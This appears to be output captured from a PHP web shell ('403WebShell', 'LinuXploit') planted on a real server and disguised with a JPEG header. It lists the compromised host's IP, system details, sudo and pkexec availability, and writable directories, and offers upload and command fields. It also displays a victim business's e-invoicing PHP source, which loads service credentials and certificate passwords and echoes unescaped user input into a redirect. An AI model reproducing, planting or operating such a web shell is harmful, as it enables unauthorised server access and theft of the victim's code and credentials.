����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.238.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/salesFacturaE/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/salesFacturaE/pruebas.php
<?php
session_start();
$sale1= $_POST['id_sales'];
		//$sale1 = 'J211031014';

if(isset($sale1))
{		
		require_once ("../model/dbconn.php");
		require_once ("../model/pos.php");
			
			$posConfig = new pos();
			//impuesto general
			$impuestoBD = $posConfig->getByPreffix('imp-val')[1]['val'];
			//usuario multifacturas real
			$userMulti = $posConfig->getByPreffix('Usuario_Factura')[1]['val'];
			//pass multifacturas real
			$passMulti = $posConfig->getByPreffix('pass_fac')[1]['val'];
			//detalles
			$ArchCerDemo = $posConfig->getByPreffix('archivo_cer_demo')[1]['val'];
			$ArchKeyDemo = $posConfig->getByPreffix('archivo_key_demo')[1]['val']; 
			$settingsEmisor = $posConfig->getByPreffix('name_val')[1]['val']; 
			$settingsCP = $posConfig->getByPreffix('cp_val')[1]['val']; 
			$RegimenDemo = $posConfig->getByPreffix('Regimen_sat')[1]['val']; 
			$settingsCodigoSat = $posConfig->getByPreffix('Sat_val')[1]['val']; 
			$settingsUnidadSat = $posConfig->getByPreffix('Sat_val_Unidad')[1]['val']; 
			$RFC_demo_Emisor = $posConfig->getByPreffix('rfc_val')[1]['val'];
			$RFC_nombre_Emisor = $posConfig->getByPreffix('name_val')[1]['val'];
			$PassDemoMulti= $posConfig->getByPreffix('Pass_Sat_demo')[1]['val'];
			$logo = $posConfig->getByPreffix('report_image')[1]['val']; 
			$emailPrincipal = $posConfig->getByPreffix('admin_email')[1]['val']; 
			
			//facturacion real SI(real)/NO(demo)
			$FacturacionReal = $posConfig->getByPreffix('demo_fac')[1]['val']; 
			//DATOS POST
			
			$client_name= $_POST['client_name'];
			$client_rfc= $_POST['rfc'];
			$uso_cfdi= $_POST['uso_cfdi'];
			$FormaPago = $_POST['FormaPago'];
			$posForma= new pos();
			$FormaPago = $posForma->getFormakId($FormaPago)[1]['def'];
			/*
			$client_name= 'ISRAEL ALVARADO AGUILAR';
			$client_rfc='AAAI800508K2A';
			$uso_cfdi= 'G01';
			$FormaPago = '01';
			*/
			//obtenemos sell_id
			$posSell=new pos();
			$sell = $posSell->getlistSell($sale1);
			$sell_id = $posSell->getlistSell($sale1)[1]['id']; 
			
								// Se desactivan los mensajes de debug
			error_reporting(~(E_WARNING|E_NOTICE));
			//error_reporting(E_ALL);

			// Se especifica la zona horaria
			date_default_timezone_set('America/Mexico_City');

			//libreria qr
			include_once "../../../../sdk/lib/modulos/qr/qr.php";
			
			// Se incluye el SDK
			require_once '../../../../sdk/sdk2.php';

			// Se especifica la version de CFDi 3.3
			$datos['version_cfdi'] = '3.3';

			// Ruta del XML Timbrado
			$datos['cfdi']='../../../../sdk/timbrados/cfdi_factura_'.$sale1.'.xml';

			// Ruta del XML de Debug
			$datos['xml_debug']='../../../../sdk/timbrados/sin_timbrar_factura_'.$sale1.'.xml';

			// Credenciales de Timbrado
			$datos['PAC']['usuario'] = ''.$userMulti.'';
			$datos['PAC']['pass'] = ''.$passMulti.'';
			$datos['PAC']['produccion'] = ''.$FacturacionReal.'';

			// Rutas y clave de los CSD
			$datos['conf']['cer'] = '../../../../sdk/certificados/'.$ArchCerDemo.'';
			$datos['conf']['key'] = '../../../../sdk/certificados/'.$ArchKeyDemo.'';
			$datos['conf']['pass'] = ''.$PassDemoMulti.'';
			

			//datos de Emisor
			$datos['emisor']['rfc'] = ''.$RFC_demo_Emisor.''; //RFC DE PRUEBA
			$datos['emisor']['nombre'] = "".$settingsEmisor."";  // EMPRESA DE PRUEBA

			// Datos del Receptor
			$datos['receptor']['UsoCFDI'] = $uso_cfdi;
			$datos['receptor']['rfc'] = $client_rfc;
			$datos['receptor']['nombre'] = $client_name;
			
	
			$operations=new pos();
			$operation1 = $operations->getOperations($sale1);
			
			
		$i=0;
		$impuesto=0;
		$subtotal=0;
		foreach($operation1 as $operation){
			if($operation['item_name'] != null){
				
				$pos = new pos();
				$result = array();
				$query = $pos->getItem($operation['id_item']);
				$data = $query[1];
				$result['tax'] = $data['tax'];
				
				if($result['tax'] == 8){
					$price_sin = number_format($operation['price']/1.08,2);
						 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
				}elseif($result['tax'] == 16){
					$price_sin = number_format($operation['price']/1.16,2);
						 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
				}else{
					$price_sin =$operation['price'];
				}
				
				$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
				$datos['conceptos'][$i]['unidad'] = 'NA';
				$datos['conceptos'][$i]['ID'] = $operation['barcode'];
				$datos['conceptos'][$i]['descripcion'] = $operation['item_name'];
				$datos['conceptos'][$i]['valorunitario'] = $price_sin;
				$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
				$datos['conceptos'][$i]['ClaveProdServ'] = $settingsCodigoSat;
				$datos['conceptos'][$i]['ClaveUnidad'] = $settingsUnidadSat;

				
				
				if($result['tax'] == 8){
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.080000';

					$valor1 = number_format(($price_sin*$operation['qty'])*0.080000,2);
					
				}elseif($result['tax'] == 16){
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';
					echo "impuesto 16";

					$valor1 = number_format(($price_sin*$operation['qty'])*0.160000,2);
				
				}else{
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $operation['price']*$operation['qty'];
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Exento';
					$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.000000';

					$valor1 = number_format($operation['price']*$operation['qty'],2);
					
				}
				$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1;
				
				$impuesto = number_format($impuesto + $valor1,2);
				$subtotal = $subtotal + ($price_sin*$operation['qty']);
				$total = $subtotal +  $impuesto ; 
				
				//echo "-------------------------------";
				//echo $valor1;
				$i=$i+1;
			}
		}

		// Se agregan los Impuestos
		if($result['tax'] == 8){
			$datos['impuestos']['translados'][0]['impuesto'] = '002';
			$datos['impuestos']['translados'][0]['tasa'] = '0.080000';
			$datos['impuestos']['translados'][0]['importe'] = $impuesto;
			$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
			$datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto;
		}elseif($result['tax'] == 16)	
		{
			$datos['impuestos']['translados'][0]['impuesto'] = '002';
			$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
			$datos['impuestos']['translados'][0]['importe'] = $impuesto;
			$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
			$datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto;
			echo "impuesto 16";
		}else{
			$datos['impuestos']['translados'][0]['impuesto'] = '002';
			$datos['impuestos']['translados'][0]['tasa'] = '0.00000';
			$datos['impuestos']['translados'][0]['importe'] = $impuesto;
			$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
			$datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto;
		}
			
			
			// Datos de la Factura
			$datos['factura']['condicionesDePago'] = 'CONTADO';
			$datos['factura']['descuento'] = '0.00';
			$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
			$datos['factura']['folio'] = $sell_id;
			$datos['factura']['forma_pago'] = $FormaPago;
			$datos['factura']['LugarExpedicion'] = $settingsCP;
			$datos['factura']['metodo_pago'] = 'PUE';
			$datos['factura']['moneda'] = 'MXN';
			$datos['factura']['serie'] = 'A';
			$datos['factura']['subtotal'] = $subtotal;
			$datos['factura']['tipocambio'] = 1;
			$datos['factura']['tipocomprobante'] = 'I';
			$datos['factura']['total'] = $subtotal + $impuesto;
			$datos['factura']['RegimenFiscal'] = ''.$RegimenDemo.'';
			
			echo "<pre>";
			print_r($datos);
			echo "</pre>";
					
					// Se ejecuta el SDK
			$res = mf_genera_cfdi($datos);
			
			$codigo= $res['codigo_mf_numero'];
			$name_codigo= $res['codigo_mf_texto'];
			$uuid= $res['uuid'];
			
			foreach ($res AS $variable => $valor) {
					$valor = htmlentities($valor);
					$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);
					echo "<b>[$variable]=</b>$valor<hr>";
				}
			
			//generar el pdf
			$datosHTML['RESPUESTA_UTF8'] = "SI";
			$datosHTML['PAC']['usuario'] = ''.$userMulti.'';
			$datosHTML['PAC']['pass'] = ''.$passMulti.'';
			$datosHTML['PAC']['produccion'] = "".$FacturacionReal."";
			//MODULO MULTIFACTURAS : CONVIERTE UN XML CFDI A HTML
			$datosHTML['modulo']="cfdi2html";                                                //NOMBRE MODULO
			$datosHTML['rutaxml']=$datos['cfdi'];    //RUTA DEL XML CFDI
			$MombreEmisor= $settingsEmisor->val;
			$datosHTML['titulo']=''.$MombreEmisor.'';                                          //TITULO DE FACTURA
			$datosHTML['tipo']="FACTURA";  													//TIPO DE FACTURA VENTA,NOMINA,ARRENDAMIENTO, 
			$datosHTML['path_logo']="../../../../sdk/timbrados/logo.png";                          //RUTA DE LOGOTIPO DE FACTURA
			$datosHTML['notas']="Pago en una sola exhibicion";                                       //NOTA IMPRESA EN FACTURA
			$datosHTML['color_marco']="#324273";                                             //COLOR DEL MARCO DE LA FACTURA
			$datosHTML['color_marco_texto']="#24B7C8";                                       //COLOR DEL TEXTO DEL MARCO DE LA FACTURA
			$datosHTML['color_texto']="#042125";                                             //COLOR DEL TEXTO EN GENERAL
			$datosHTML['fuente_texto']="monospace";                                          //FUENTE DEL TEXTO EN GENERAL   
			$res = mf_ejecuta_modulo($datosHTML);                                  //FUNCION QUE CARGA EL MODULO cfdi2html
			$HTML=$res['html'];                                     //HTML DEL XML           //RESPUESTA DE LA FUNCION CARGAR MODULO
			
			

			//////////////////////////////////////////////////////////////////////////////
			//CONVERTIR EL HTML DEL XML CFDI A PDF
			$datosPDF['PAC']['usuario'] = ''.$userMulti.'';
			$datosPDF['PAC']['pass'] = ''.$passMulti.'';
			$datosPDF['PAC']['produccion'] = "".$FacturacionReal."";
			$datosPDF['modulo']="html2pdf";                                                   //NOMBRE MODULO
			$datosPDF['html']="$HTML";                                                        // HTML DE XML CFDI A CONVERTIR A PDF
			$datosPDF['archivo_html']="";                                                     // OPCION SI SE TIENE UN ARCHIVO .HTML       
			$datosPDF['archivo_pdf']="../../../../sdk/timbrados/cfdi_factura_".$sale1.".pdf";
			//$datosPDF['archivo_pdf']="RUTA DONDE SE CREARA EL PDF/nombrearhivo.pdf";          //RUTA DONDE SE GUARDARA EL PDF
			$res = mf_ejecuta_modulo($datosPDF);    
				
			
			
			
		
			if($codigo == 0){
				$id=$sell_id;
				$mail=$emailPrincipal;
				$uuid=$uuid;
				$rfc=$client_rfc;
				$sell_id=$id;
				$sale_id=$sale1;
				$total=$subtotal + $impuesto;
				$iva=$impuestoBD;
				$name=$client_name;
				$user_id =  $_SESSION['pos_id'];
				
				$pos = new pos();
				$insert = $pos->saveFacturaSell($mail,$uuid,$rfc,$sell_id,$sale_id,$total,$iva,$name,$user_id);
				$retval['result'] = $insert[0];
				$retval['error'] = $insert[1];
				$retval['xsale_id'] = $insert[2];
				
				if($retval['result'] == 1){
					
					print "<script>window.location='./basica11.php?uuid=$uuid&id=$sell_id&rfc=$client_rfc&name=$client_name&sale1=$sale_id';</script>";
				}else{
					echo "Error al guardar Registro en Base de Datos, Reporte a Sistemas, para registro , y obtener XML,PDF";
				}
					
			
			}else{
			
			echo "<h1>Respuesta Generar XML y Timbrado</h1>";
				foreach ($res AS $variable => $valor) {
					$valor = htmlentities($valor);
					$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);
					echo "<b>[$variable]=</b>$valor<hr>";
				}
			
				//print "<script>window.location='http://localhost/pos36/pos11/?view=errFact&uuid=$codigo&name_codigo=$name_codigo&id=$id';</script>";	
			}
		
			
}	
			
?>

 


Youez - 2016 - github.com/yon3zu
LinuXploit